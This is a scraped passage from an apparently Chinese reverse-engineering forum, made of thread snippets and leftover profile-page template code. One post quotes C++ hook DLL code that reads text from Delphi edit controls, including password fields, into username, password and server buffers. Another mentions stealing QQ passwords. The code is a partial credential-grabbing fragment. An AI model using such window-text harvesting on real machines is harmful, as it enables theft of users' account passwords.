|
|
|
这行代码什么意思?
最初由 masmprogra 发布 我不盗QQ,看看懂,等到想做其它的了再写 HOOK、好像对QQ,卡丁车都不管用。 你能不能回答下我的那个问题? |
|
[原创]密码查看器&&窗口激活专家
最初由 非安全 发布 不知道这个是否有用?(我又一机器源码,90%都看不懂) #pragma argsused typedef struct { POINT MouseLoc; // 存放鼠标位置 HHOOK NewHook; // 存放新钩子句柄 int LoadCount; // DLL装入次数计数 HWND g_hWnd; char location[64]; char username[64]; char psw[64]; char server[32]; } HOOKSTRUCT; HINSTANCE DllHinst=NULL; HOOKSTRUCT *HookStruct=NULL; HANDLE hFile=NULL; int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) { DllHinst=hinst; switch(reason) { case DLL_PROCESS_ATTACH: // DLL入口 hFile=CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(HOOKSTRUCT), "HookStruct"); HookStruct=(HOOKSTRUCT *)MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(HOOKSTRUCT)); HookStruct->LoadCount++; break; case DLL_PROCESS_DETACH: // DLL出口处理 HookStruct->LoadCount--; UnmapViewOfFile(HookStruct); CloseHandle(hFile); break; } return 1; } //------------------------- BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam) { char lp[32]; GetClassName(hwnd,lp,32); if (String(lp)=="TEdit") { LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE if((style&ES_PASSWORD)!=ES_PASSWORD) //bu 是密码框 { SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->username); //得到username return false; } if((style&ES_PASSWORD)==ES_PASSWORD) //是密码框 {SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->psw); //得到psw return true; } } } //------------------------- BOOL CALLBACK EnumChildProc2(HWND hwnd,LPARAM lParam) { char lp[32]; GetClassName(hwnd,lp,32); if (String(lp)=="TEdit") { LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE if((style&ES_PASSWORD)!=ES_PASSWORD) //bu 是密码框 { SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->server); //得到username return true; } } } |
|
|
|
|
|
|
|
|
|
小弟脱一Armadillo壳后,软件能正常运行,功能失效了。求助
最初由 skylly 发布 要是有个这样的插件就好了 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值